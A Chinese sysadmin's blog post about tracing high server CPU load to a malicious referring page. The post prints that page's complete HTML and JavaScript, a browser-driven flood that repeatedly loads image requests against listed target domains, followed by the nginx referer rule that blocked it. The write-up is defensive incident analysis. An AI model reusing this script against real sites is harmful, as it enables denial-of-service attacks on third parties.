今天发布一个经验分享,收到用户反馈,服务器CPU超高,他是Linux系统,我登录到服务器看确实cpu非常高,通过top命令看主要是php进程占用较高,如图
看样子是访问量非常大,他使用了nginx,于是我在nginx中开启了站点访问日志,开启后几分钟查看日志非常大,并且日志中都是http://xxx.cn/daji/6.html 这样的来路地址一致在不停访问首页,打开地址后发现该页面一直持续刷新,不停刷新,查看他源码看只有短短几行,如下
<html>
<head>
<title>hello world</title>
</head>
<body>
<a href="http://xxxx.cn/daji/1.html" target="_blank">1</a>
<a href="http://xxxx.cn/daji/2.html" target="_blank">2</a>
<a href="http://xxxx.cn/daji/3.html" target="_blank">3</a>
<a href="http://xxxx.cn/daji/4.html" target="_blank">4</a>
<a href="http://xxxx.cn/daji/5.html" target="_blank">5</a>
<a href="http://xxxx.cn/daji/6.html" target="_blank">6</a>
<a href="http://xxxx.cn/daji/7.html" target="_blank">7</a>
<a href="http://xxxx.cn/daji/8.html" target="_blank">8</a>
<a href="http://xxxx.cn/daji/9.html" target="_blank">9</a>
<a href="http://xxxx.cn/daji/10.html" target="_blank">10</a>
<script language="JavaScript">
function myrefresh()
{
window.location.reload();
}
setTimeout('myrefresh()',8000);
</script>
<div id="testloadimg"></div>
<script type="text/javascript">
var arr = ["http://xxx.com","http://xxx.com"];//要攻击的域名
function timedCount() {
var content = "";for (var i = 0; i < arr.length; i++)
{content += "<img src=\""+arr[i]+"?r=" + Math.random() + "\" />";
}
document.getElementById("testloadimg").innerHTML = content;setTimeout("timedCount()", 200);
}
timedCount();
</script>
</body>
</html>
通过代码看在js中定义了一个数组,数组中存在大量网址,每刷新一次,页面就回自动访问数组中的网址,反复访问,不停访问,导致对方站点php请求不过来占用cpu。
于是使用如下代码,在nginx配置文件中屏蔽了该域名,屏蔽后cpu瞬间下降到正常水平,但从日志看还是有请求访问,不过已经被我们规则拦截了,访问都报403了
valid_referers xxx.cn;
if ($invalid_referer = '')
{
return 403;
}
不过这种攻击方式效率比较低,并且很容易就封禁拦截了,如果大批量挂在别人网站上触发就很难通过web端拦截了。提醒:非法入侵、攻击他人网站是违法的,请勿做非法使用。
» 本文链接地址:https://blog.mydns.vip/509.html
最新评论
麻烦发下检测工具
让我下载
非常好